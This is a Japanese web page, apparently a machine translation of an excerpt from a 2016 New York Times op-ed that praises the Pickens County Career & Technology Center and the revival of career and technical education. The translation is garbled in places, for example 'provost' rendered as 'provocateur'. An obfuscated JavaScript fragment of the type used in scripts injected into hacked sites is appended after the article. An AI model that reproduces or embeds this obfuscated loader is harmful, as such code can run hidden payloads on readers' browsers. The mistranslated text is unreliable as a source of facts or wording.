ニューヨーク・タイムズで紹介されたピケンズ郡のキャリアとテクノロジーセンター Op/Ed

以下は、2016年4月15日のニューヨーク・タイムズOp/Edから抜粋されました。 記事はニューヨークタイムズのウェブサイトで完全に読むことができます。 キャサリン・S・ニューマンとヘラ・ウィンストン
2016年4月15日
両党の候補者は、アメリカの雇用の喪失、賃金の低下、大学のコストの高騰について多くのことを話してきました。
しかし、議論から抜け出しているのは、米国には何十万もの「中途半位のスキル」の仕事があり、資格のある労働者が不足しているため、満たされないという事実です。 雇用者は、電気技師、パイプフィッター、高度な製造機械工、レンガの石工や放射線技師が不足していると不平を言います。 製造業だけでも60万人以上の雇用が開かれている。 これらは、伝統的な4年の大学の学位を持たない中産階級の賃金を提供する仕事です。
アメリカの高校はかつて一流の職業訓練と見習い訓練を提供し、このような仕事のために若者を準備しました。 しかし、過去70年間、このような教育に対する私たちのコミットメントは、若者の雇用準備における学校の役割とブルーカラーの仕事そのものの価値に対する国のアンビバレンスを反映して、ワックスと衰退しました。 進歩派は、技術教育は二流の市民権に向けて低所得者と少数派の若者を追跡すると主張している。したがって、彼らはしばしば「すべての人のための大学」を提唱します。
しかし、過去10年ほどの間に、教育者や政策立案者の間で職業教育を再活性化する動きがあり、現在はキャリアと技術教育としてリブランドされています。 一部の学校は非常に効果的です。他の人は苦労しています。 ドイツのような国で彼らのカウンターパートに容易に利用可能な若いアメリカ人のオプションを提供する場合は、成功のために何が起こるかを把握する必要があります。
リバティーのピケンズ郡キャリア&テクノロジーセンターは、働く学校の一例です。 機械技術店では、学生はプラスチック金型を作るためにコンピュータをプログラムします。 商業キッチンでは、シェフ志望者がマルチコース料理を用意しています。 学校はまた、健康科学、メカトロニクス、石積み、電気工事、大工、機械設計などのトレーニングを提供しています。 多くの生徒は通常の高校で半日、キャリアセンターで半分を過ごします。 監督のケン・ヒッチコックによると、多くはどちらの親も大学の学位を持っていない低所得家庭の出身です。
ヒッチコック氏は、卒業生の約60%が地元の高等専門学校に進学し、15%は主に健康科学の4年大学に向かうと言います。 残りは、彼らが獲得した業界の証明書によって助けられ、仕事を得る。 マサチューセッツ大学アマースト校の挑発者であるキャサリン・S・ニューマンと、ブランダイス大学のシュスター調査ジャーナリズム研究所のシニアフェローであるヘラ・ウィンストンは、「アメリカをリスキルする:21世紀の労働学習」の著者です。
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);};